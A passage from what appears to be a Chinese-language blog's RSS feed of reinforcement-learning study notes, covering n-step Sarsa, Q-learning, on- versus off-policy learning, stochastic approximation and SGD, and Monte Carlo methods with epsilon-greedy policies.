q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - [r_{t+1} + \gamma r_{t+2} + \dots + \gamma^n q_t(s_{t+n}, a_{t+n})] \right]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实际执行中，由于在 $t$ 时刻环境只推进了一步，尚无法获取未来 $n$ 步的完整数据序列 $(r_{t+1}, \dots, r_{t+n}, s_{t+n}, a_{t+n})$。&lt;/li&gt;
&lt;li&gt;因此，$n$-step 的实际更新需要&lt;strong&gt;延迟 $n$ 个时间步&lt;/strong&gt;。在时刻 $t+n$，收集齐所需数据后，再回过头去更新历史状态动作对 $(s_t, a_t)$：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
q_{t+n}(s_t, a_t) = q_{t+n-1}(s_t, a_t) - \alpha_{t+n-1}(s_t, a_t) \left[ q_{t+n-1}(s_t, a_t) - \left[ r_{t+1} + \dots + \gamma^n q_{t+n-1}(s_{t+n}, a_{t+n}) \right] \right]
$$&lt;/p&gt;
&lt;p&gt;简写为：&lt;/p&gt;
&lt;p&gt;$$
q_{t+n}(s_t, a_t) = q_{t+n-1}(s_t, a_t) - \alpha_{t+n-1}(s_t, a_t) \left[ q_{t+n-1}(s_t, a_t) - Target_{n-step} \right]
$$&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(注：下标 $t$ 代表时间步的流逝，而 $n$ 代表往后看多远的视野视距)&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$n$-step Sarsa 是一种在 Sarsa 与 MC 之间权衡的算法：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;$n$ 较大时&lt;/strong&gt;，引入的真实奖励项较多，更接近 MC 方法。优势是偏差 (bias) 较小，受初始错误估计的影响低，但代价是累积了更多随机性，导致方差 (variance) 变大。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$n$ 较小时&lt;/strong&gt;，更依赖于自举，接近 Sarsa。此时方差较低，但如果初始估计误差很大，则由于强依赖现存的 $q$ 值，容易引入较大的偏差。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;与单步方法一样，$n$-step Sarsa 同样可以内嵌到策略迭代框架中，与策略改进步骤结合以寻找最优策略。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Q-learning&lt;/h2&gt;
&lt;p&gt;Q-learning 是异策略 (off-policy) TD 控制算法的代表，其评估直接指向最优状态动作价值：&lt;/p&gt;
&lt;p&gt;$$
\begin{align}
q_{t+1}(s_t, a_t) &amp;#x26;= q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - \left[ r_{t+1} + \gamma \max_{a \in \mathcal{A}} q_t(s_{t+1}, a) \right] \right], \
q_{t+1}(s, a) &amp;#x26;= q_t(s, a), \quad \forall (s, a) \neq (s_t, a_t),
\end{align}
$$&lt;/p&gt;
&lt;p&gt;它在数学上试图求解的是贝尔曼最优方程 (Bellman Optimality Equation, BOE)：&lt;/p&gt;
&lt;p&gt;$$
q(s, a) = \mathbb{E} \left[ R_{t+1} + \gamma \max_{a&apos;} q(S_{t+1}, a&apos;) \mid S_t = s, A_t = a \right], \quad \forall s, a.
$$&lt;/p&gt;
&lt;h3&gt;on-policy vs off-policy&lt;/h3&gt;
&lt;p&gt;在强化学习控制问题中，我们往往涉及到两种策略：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Behavior policy (行动策略/行为策略)&lt;/strong&gt;：代理（Agent）与环境实际交互、用于生成经验样本的策略（通常具备探索性，如 $\epsilon$-greedy）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Target policy (目标策略)&lt;/strong&gt;：算法实际评估和试图优化并最终收敛到的策略（通常是完全贪婪策略）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据这两种策略是否一致，可以划分为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;On-policy (同策略)&lt;/strong&gt;：目标策略与行动策略完全一致。生成样本的规则和评估的规则是同一套逻辑。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Off-policy (异策略)&lt;/strong&gt;：目标策略与行动策略分离。代理用一种策略去探索世界，同时利用这些探索数据在后台默默优化另一个（通常是更优的）策略。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Off-policy 的核心优势：算法可以复用其他任意策略（甚至是人类专家历史操作或随机游走）产生的经验数据进行学习，数据利用效率更高。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;如何区分一个算法是 On-policy 还是 Off-policy？&lt;/strong&gt;
核心在于检查它在计算 TD Target 时，所使用的下一个动作 $a_{t+1}$ 的来源机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sarsa 属于 On-policy&lt;/strong&gt;：它的目标依赖于下一步实际执行的动作 $a_{t+1}$，这个动作是由当前的行动策略决定的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Q-learning 属于 Off-policy&lt;/strong&gt;：无论下一步实际上采取了什么动作去探索环境，在计算目标值时，它始终激进地假设下一步会采取当前估计下的最优动作（$\max_a$）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;TD算法统一形式与总结&lt;/h3&gt;
&lt;p&gt;价值更新一般可以统一为以下形式：&lt;/p&gt;
&lt;p&gt;$$
q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t)[q_t(s_t, a_t) - \bar{q}_t],
$$&lt;/p&gt;
&lt;p&gt;其中 $\bar{q}_t$ 为各算法对应的 TD target：&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;Algorithm&lt;/strong&gt;  | &lt;strong&gt;Expression of TD target ($\bar{q}_t$)&lt;/strong&gt;                                       |
| -------------- | ------------------------------------------------------------------------------- |
| Sarsa          | $\bar{q}&lt;em&gt;t = r&lt;/em&gt;{t+1} + \gamma q_t(s_{t+1}, a_{t+1})$                            |
| $n$-step Sarsa | $\bar{q}&lt;em&gt;t = r&lt;/em&gt;{t+1} + \gamma r_{t+2} + \dots + \gamma^n q_t(s_{t+n}, a_{t+n})$ |
| Expected Sarsa | $\bar{q}&lt;em&gt;t = r&lt;/em&gt;{t+1} + \gamma \sum_a \pi_t(a|s_{t+1})q_t(s_{t+1},a)$           |
| Q-learning     | $\bar{q}&lt;em&gt;t = r&lt;/em&gt;{t+1} + \gamma \max_a q_t(s_{t+1}, a)$                           |
| Monte Carlo    | $\bar{q}&lt;em&gt;t = r&lt;/em&gt;{t+1} + \gamma r_{t+2} + \dots$                                  |&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(注：当令学习率 $\alpha_t=1$ 时，MC 形式可以直接写为 $q_{t+1}(s_t, a_t) = \bar{q}_t$，即直接用单次回报替代估计值。标准 MC 通常维护均值，等价于逐步衰减的 $\alpha$)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;各算法理论求解的底层方程总结：&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;Algorithm&lt;/strong&gt;  | &lt;strong&gt;Equation aimed to solve&lt;/strong&gt;                                                                                                                 |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
| Sarsa          | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma q_\pi(S_{t+1}, A_{t+1}) \mid S_t = s, A_t = a]$                            |
| n-step Sarsa   | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma R_{t+2} + \dots + \gamma^n q_\pi(s_{t+n}, a_{t+n}) \mid S_t = s, A_t = a]$ |
| Expected Sarsa | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma \mathbb{E}&lt;em&gt;{A&lt;/em&gt;{t+1}} [q_\pi(S_{t+1}, A_{t+1})] \mid S_t = s, A_t = a]$     |
| Q-learning     | Bellman Optimality: $q_&lt;em&gt;(s, a) = \mathbb{E} [R_{t+1} + \gamma \max_a q_&lt;/em&gt;(S_{t+1}, a) \mid S_t = s, A_t = a]$                                |
| Monte Carlo    | Bellman Expectation: $q_\pi(s, a) = \mathbb{E} [R_{t+1} + \gamma R_{t+2} + \dots \mid S_t = s, A_t = a]$                                    |&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：随机近似与随机梯度下降</title><link>https://zh.maxtonniu.com/blog/rl_chapter06</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter06</guid><description>梳理随机近似理论与Robbins-Monro算法，推导随机梯度下降（SGD）的演变过程与收敛特性，并对比BGD、MBGD与SGD的采样差异。</description><pubDate>Thu, 19 Feb 2026 21:50:00 GMT</pubDate><content:encoded>&lt;h1&gt;随机近似理论与随机梯度下降&lt;/h1&gt;
&lt;h2&gt;均值估计 (Mean Estimation)&lt;/h2&gt;
&lt;p&gt;首先，考虑样本均值的估计问题：&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} \doteq \frac{1}{k} \sum_{i=1}^{k} x_{i}, \quad k=1,2, \dots
$$&lt;/p&gt;
&lt;p&gt;对于上一步的均值，我们有：&lt;/p&gt;
&lt;p&gt;$$
w_{k} = \frac{1}{k-1} \sum_{i=1}^{k-1} x_{i}, \quad k=2,3, \dots
$$&lt;/p&gt;
&lt;p&gt;通过代数变换，可以将全量计算转化为递推形式：&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = \frac{1}{k} \sum_{i=1}^{k} x_{i} = \frac{1}{k}\left(\sum_{i=1}^{k-1} x_{i}+x_{k}\right) = \frac{1}{k}\left((k-1) w_{k}+x_{k}\right) = w_{k}-\frac{1}{k}\left(w_{k}-x_{k}\right)
$$&lt;/p&gt;
&lt;p&gt;即：&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \frac{1}{k}(w_k - x_k)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是一种迭代算法，无需保存并重复计算所有历史数据。&lt;/li&gt;
&lt;li&gt;在迭代初期，由于样本量不足，估计值可能不够精确；但随着样本量 $k$ 的增加，结果会逐渐逼近真实均值。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由此可以引出一个更广义的迭代等式：&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_{k} - \alpha_{k}(w_{k} - x_{k})
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当步长序列 ${\alpha_k}$ 满足一定条件时，估计值 $w_k$ 依然会收敛于期望 $\mathbb{E}[X]$。&lt;/li&gt;
&lt;li&gt;这种形式可以被视为随机近似（SA）算法的一种特例，同时也是随机梯度下降（SGD）算法的基础形态。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Robbins-Monro (RM) 算法&lt;/h2&gt;
&lt;h3&gt;随机近似 (Stochastic Approximation, SA)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;SA 是一大类依赖随机迭代来求解方程根或最优化问题的算法。&lt;/li&gt;
&lt;li&gt;SA 的核心优势在于&lt;strong&gt;黑盒求解&lt;/strong&gt;：无需知晓目标方程的解析表达式或全局性质，仅依赖带噪声的观测数据即可进行参数更新。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;RM 算法定义&lt;/h3&gt;
&lt;p&gt;寻找函数极值的一个必要条件是梯度为零，即 $g(w) \doteq \nabla_{w} J(w) = 0$。同理，对于 $g(w) = c$ 的情况，可以通过移项转化为求根问题。SGD 正是一种特殊的 RM 算法。&lt;/p&gt;
&lt;p&gt;RM 算法通过以下迭代格式求解 $g(w) = 0$：&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - a_k \tilde{g}(w_k, \eta_k), \quad k = 1, 2, 3, \dots
$$&lt;/p&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$w_k$ 是第 $k$ 次迭代对根的估计值。&lt;/li&gt;
&lt;li&gt;$\tilde{g}(w_k, \eta_k) = g(w_k) + \eta_k$ 是第 $k$ 次带有随机噪声 $\eta_k$ 的观测值。&lt;/li&gt;
&lt;li&gt;$a_k$ 是控制步长的正系数。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;收敛性定理与条件解析&lt;/h3&gt;
&lt;p&gt;若以下条件成立：&lt;/p&gt;
&lt;p&gt;(a) $0 &amp;#x3C; c_1 \leq \nabla_w g(w) \leq c_2$，对于所有 $w$；
(b) $\sum_{k=1}^{\infty} a_k = \infty$ 且 $\sum_{k=1}^{\infty} a_k^2 &amp;#x3C; \infty$；
(c) $\mathbb{E}[\eta_k | \mathcal{H}_k] = 0$ 且 $\mathbb{E}[\eta_k^2 | \mathcal{H}_k] &amp;#x3C; \infty$；&lt;/p&gt;
&lt;p&gt;其中 $\mathcal{H}&lt;em&gt;k = {w_k, w&lt;/em&gt;{k-1}, \dots}$ 表示直到时刻 $k$ 的历史记录，那么序列 $w_k$ 将&lt;strong&gt;以概率 1&lt;/strong&gt;（Almost surely）收敛于满足 $g(w^&lt;em&gt;) = 0$ 的根 $w^&lt;/em&gt;$。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;条件 (a)&lt;/strong&gt;：要求函数 $g(w)$ 的导数（或梯度）有严格的上下界。这保证了函数足够平滑，且其斜率不会趋于零或无穷大，从而确保更新方向能稳定且持续地指向目标解 $w^*$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;条件 (b)&lt;/strong&gt;：经典的步长（学习率）约束。$\sum a_k = \infty$ 保证了步长总和无限大，算法有能力跨越任意初始距离到达目标点；$\sum a_k^2 &amp;#x3C; \infty$ 则保证步长衰减得足够快，使得算法最终能够收敛，避免在根节点附近永久震荡。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;条件 (c)&lt;/strong&gt;：对随机噪声性质的约束。给定历史序列的条件期望为零（构成鞅差分序列），说明噪声的估计是无偏的；条件方差有限则限制了单步探索时的波动幅度，防止算法发散。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;随机梯度下降 (SGD)&lt;/h2&gt;
&lt;p&gt;SGD 主要用于解决期望风险最小化问题：&lt;/p&gt;
&lt;p&gt;$$
\min_{w} \quad J(w) = \mathbb{E}[f(w, X)]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$w$ 是待优化的参数。&lt;/li&gt;
&lt;li&gt;$X$ 是随机变量，期望是关于 $X$ 的分布计算的。&lt;/li&gt;
&lt;li&gt;函数 $f(\cdot)$ 输出标量，参数 $w$ 和输入 $X$ 可以是标量或向量。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;梯度下降演变&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 梯度下降 (Gradient Descent, GD)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \alpha_k \nabla_w \mathbb{E}[f(w_k, X)] = w_k - \alpha_k \mathbb{E}[\nabla_w f(w_k, X)]
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 批量梯度下降 (Batch Gradient Descent, BGD)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过有限样本的经验均值近似数学期望：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}[\nabla_w f(w_k, X)] \approx \frac{1}{n} \sum_{i=1}^n \nabla_w f(w_k, x_i)
$$&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \alpha_k \frac{1}{n} \sum_{i=1}^n \nabla_w f(w_k, x_i)
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 随机梯度下降 (Stochastic Gradient Descent, SGD)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \alpha_k \nabla_w f(w_k, x_k)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;与 GD 相比：将真实梯度 $\mathbb{E}[\nabla_w f(w_k, X)]$ 替换为单样本的随机梯度 $\nabla_w f(w_k, x_k)$。&lt;/li&gt;
&lt;li&gt;与 BGD 相比：相当于将批量大小设定为 $n = 1$。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据 RM 算法的理论，如果满足海森矩阵正定有界（$0 &amp;#x3C; c_1 \le \nabla^2_w f(w, X) \le c_2$）、学习率满足 Robbins-Monro 序列条件，且样本序列独立同分布（i.i.d.），则 SGD 同样会以概率 1 收敛于最优解。&lt;/p&gt;
&lt;h3&gt;SGD 梯度的相对误差与随机性&lt;/h3&gt;
&lt;p&gt;引入相对误差 $\delta_k$ 来衡量随机梯度偏离真实梯度的程度：&lt;/p&gt;
&lt;p&gt;$$
\delta_k \doteq \frac{|\nabla_w f(w_k, x_k) - \mathbb{E}[\nabla_w f(w_k, X)]|}{|\mathbb{E}[\nabla_w f(w_k, X)]|}
$$&lt;/p&gt;
&lt;p&gt;在最优解 $w^&lt;em&gt;$ 处，满足 $\mathbb{E}[\nabla_w f(w^&lt;/em&gt;, X)] = 0$。将其代入分母，并应用积分中值定理：&lt;/p&gt;
&lt;p&gt;$$
\delta_k = \frac{|\nabla_w f(w_k, x_k) - \mathbb{E}[\nabla_w f(w_k, X)]|}{|\mathbb{E}[\nabla_w f(w_k, X)] - \mathbb{E}[\nabla_w f(w^&lt;em&gt;, X)]|} = \frac{|\nabla_w f(w_k, x_k) - \mathbb{E}[\nabla_w f(w_k, X)]|}{|\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)(w_k - w^&lt;/em&gt;)]|}
$$&lt;/p&gt;
&lt;p&gt;由于存在强凸性假设 $\nabla_w^2 f \ge c &gt; 0$，对分母放缩可得：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
|\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)(w_k - w^&lt;em&gt;)]| &amp;#x26;= |\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)] \cdot (w_k - w^&lt;/em&gt;)| \
&amp;#x26;= |\mathbb{E}[\nabla_w^2 f(\tilde{w}_k, X)]| \cdot |w_k - w^&lt;em&gt;| \ge c|w_k - w^&lt;/em&gt;|
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;进而得到相对误差的上限：&lt;/p&gt;
&lt;p&gt;$$
\delta_k \leq \frac{|\overbrace{\nabla_w f(w_k, x_k)}^{\text{随机梯度}} - \overbrace{\mathbb{E}[\nabla_w f(w_k, X)]}^{\text{真实梯度}}|}{\underbrace{c|w_k - w^*|}_{\text{距最优解的距离}}}
$$&lt;/p&gt;
&lt;p&gt;该不等式严格揭示了 SGD 的一种重要收敛模式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;相对误差 $\delta_k$ 与距最优解的距离 $|w_k - w^*|$ 成反比。&lt;/li&gt;
&lt;li&gt;当 $w_k$ 距离最优解较远时，分母较大，$\delta_k$ 较小。此时 SGD 的更新方向非常接近真实梯度，表现出与 GD 高度相似的下降轨迹。&lt;/li&gt;
&lt;li&gt;当 $w_k$ 逐渐逼近最优解 $w^*$ 时，分母趋于零，相对误差 $\delta_k$ 会显著增大。这意味着在最优解邻域内，噪声的干扰占据主导，导致算法在收敛末期表现出较强的随机震荡（这也是为何 SGD 需要配合学习率衰减的原因）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;BGD, MBGD, 和 SGD 采样对比&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这种随机采样策略与截断（truncated）方法有异曲同工之妙。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;假设我们需要最小化 $J(w) = \mathbb{E}[f(w, X)]$，并拥有一组 $X$ 的随机样本 ${x_i}_{i=1}^n$。三种算法的迭代公式对比：&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \alpha_k \frac{1}{n} \sum_{i=1}^n \nabla_w f(w_k, x_i) \quad \text{(BGD)}
$$&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \alpha_k \frac{1}{m} \sum_{j \in \mathcal{I}_k} \nabla_w f(w_k, x_j) \quad \text{(MBGD)}
$$&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \alpha_k \nabla_w f(w_k, x_k) \quad \text{(SGD)}
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BGD&lt;/strong&gt;：每次迭代计算完整的 $n$ 个样本。当 $n$ 足够大时，更新方向极其接近真实期望梯度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MBGD&lt;/strong&gt;：每次迭代从全局样本中抽取大小为 $m$ 的子集 $\mathcal{I}_k$。该集合是通过 $m$ 次独立同分布（i.i.d.）采样获得的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SGD&lt;/strong&gt;：每次迭代仅在时刻 $k$ 随机抽取单一标本 $x_k$。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;核心差异注意&lt;/strong&gt;：即使当 $m=n$ 时，MBGD 与 BGD 也并不等价。因为 MBGD 的 $m$ 次随机采样通常是有放回的（可能抽取到重复的样本），而 BGD 则是严格遍历所有不重复的全局样本数据。&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：蒙特卡洛方法</title><link>https://zh.maxtonniu.com/blog/rl_chapter05</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter05</guid><description>深入解析强化学习中的蒙特卡洛方法（Monte Carlo Methods），涵盖MC Basic与Exploring Starts采样机制。探讨了广义策略迭代（GPI）框架，并详细推导epsilon-Greedy策略如何平衡探索与利用，实现无模型场景下的策略优化。</description><pubDate>Wed, 18 Feb 2026 20:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;蒙特卡洛方法 (Monte Carlo Methods)&lt;/h1&gt;
&lt;h2&gt;最简单的 MC-based RL 算法：MC Basic&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;核心流程&lt;/strong&gt;：从某个 $(s, a)$ 出发，遵循一个策略 $\pi_k$，产生一个 episode。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;回报计算&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个 episode 得到的 (discounted) return 记作 $g(s,a)$。&lt;/li&gt;
&lt;li&gt;$g(s,a)$ 是 $G_t$ 的一个采样，即 $q_{\pi_k}(s, a) = \mathbb{E}[G_t | S_t = s, A_t = a]$ 的采样。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;大数定律估计&lt;/strong&gt;：如果有许多 episode 产生了一组 ${g^{(j)}(s, a)}$，则：&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
q_{\pi_k}(s, a) = \mathbb{E}[G_t | S_t = s, A_t = a] \approx \frac{1}{N} \sum_{i=1}^{N} g^{(i)}(s, a)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：当没有模型 (Model) 的时候必须要有数据，没有数据的时候必须要有模式，即 Experience。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定位&lt;/strong&gt;：MC Basic 是 Policy Iteration 算法的一个变种，去除了基于模型的部分。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;：MC Basic 过于低效，实际中很少直接使用。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Episode 长度的考量&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;过短&lt;/strong&gt;：只有足够近的 state 才能找到最优策略。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逐渐加长&lt;/strong&gt;：随着长度增加，慢慢可以找到最优策略。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;：Episode 必须足够长，但不需要无限长。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;MC Exploring Starts&lt;/h2&gt;
&lt;h3&gt;采样序列示例&lt;/h3&gt;
&lt;p&gt;$$
s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_4} s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots
$$&lt;/p&gt;
&lt;h3&gt;Visit 的定义&lt;/h3&gt;
&lt;p&gt;在一个 episode 中，每一个 state-action pair (状态-动作对) 出现一次，称其为一个 &lt;strong&gt;visit&lt;/strong&gt;。
基于上述序列的拆解示例：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_4} s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots &amp;#x26; \quad [\text{原始 episode}] \
s_2 \xrightarrow{a_4} s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots &amp;#x26; \quad [\text{从 } (s_2, a_4) \text{ 开始的 episode}] \
s_1 \xrightarrow{a_2} s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots &amp;#x26; \quad [\text{从 } (s_1, a_2) \text{ 开始的 episode}] \
s_2 \xrightarrow{a_3} s_5 \xrightarrow{a_1} \dots &amp;#x26; \quad [\text{从 } (s_2, a_3) \text{ 开始的 episode}] \
s_5 \xrightarrow{a_1} \dots &amp;#x26; \quad [\text{从 } (s_5, a_1) \text{ 开始的 episode}]
\end{aligned}
$$&lt;/p&gt;
&lt;h3&gt;数据效率 (Data Efficiency) 方法&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;First-visit&lt;/strong&gt;：每个 state-action pair 只用其&lt;strong&gt;第一次&lt;/strong&gt;出现的时候来估计。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every-visit&lt;/strong&gt;：每个 state-action pair 只要出现一次就重新估计。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Generalized Policy Iteration (GPI)&lt;/h2&gt;
&lt;p&gt;关于更新时机的考量：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;等到所有的 episode 都收集完成之后，对其求平均再估计。&lt;/li&gt;
&lt;li&gt;或者，得到一个 episode 之后就开始估计，每一次都重新估计。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;GPI 的核心概念&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GPI 不是一种特殊的算法，而是一个统称。&lt;/li&gt;
&lt;li&gt;它体现了在 &lt;strong&gt;Policy Evaluation&lt;/strong&gt; (策略评估) 和 &lt;strong&gt;Policy Improvement&lt;/strong&gt; (策略提升) 之间不断切换的过程。&lt;/li&gt;
&lt;li&gt;许多 Model-based 和 Model-free 的算法都在其框架之中。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;MC-$\epsilon$-Greedy&lt;/h2&gt;
&lt;h3&gt;Soft Policies&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;定义：一个 policy 对每一个 action 都有非零的概率选择，叫做 soft policy。&lt;/li&gt;
&lt;li&gt;作用：不再需要通过“从每一个 state-action 出发产生大量 episode”来确保覆盖率，从而去除了 Exploring Starts 的强假设。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;$\epsilon$-Greedy 策略&lt;/h3&gt;
&lt;p&gt;公式如下：&lt;/p&gt;
&lt;p&gt;$$
\pi(a|s) =
\begin{cases}
1 - \dfrac{\epsilon}{|\mathcal{A}(s)|}(|\mathcal{A}(s)| - 1), &amp;#x26; \text{对于贪婪动作 (greedy action), 即 } a = a^* \[15pt]
\dfrac{\epsilon}{|\mathcal{A}(s)|}, &amp;#x26; \text{对于其他 } |\mathcal{A}(s)| - 1 \text{ 个动作}
\end{cases}
$$&lt;/p&gt;
&lt;p&gt;其中 $\epsilon \in [0, 1]$，$|\mathcal{A}(s)|$ 是该状态下可选动作的总数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploitation 与 Exploration 的平衡&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当 $\epsilon = 0$：变成 Greedy (完全利用)。&lt;/li&gt;
&lt;li&gt;当 $\epsilon = 1$：变成均匀分布 (完全探索)。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;策略提升 (Policy Improvement)&lt;/h3&gt;
&lt;p&gt;目标是最大化动作价值函数：&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1}(s) = \arg \max_{\pi \in \Pi_{\varepsilon}} \sum_{a} \pi(a|s) q_{\pi_k}(s, a)
$$&lt;/p&gt;
&lt;p&gt;由此导出的更新规则：&lt;/p&gt;
&lt;p&gt;$$
\pi_{k+1}(a|s) = \begin{cases}
1 - \frac{|\mathcal{A}(s)|-1}{|\mathcal{A}(s)|}\varepsilon, &amp;#x26; a = a_k^* \
\frac{1}{|\mathcal{A}(s)|}\varepsilon, &amp;#x26; a \neq a_k^* \end{cases}
$$&lt;/p&gt;
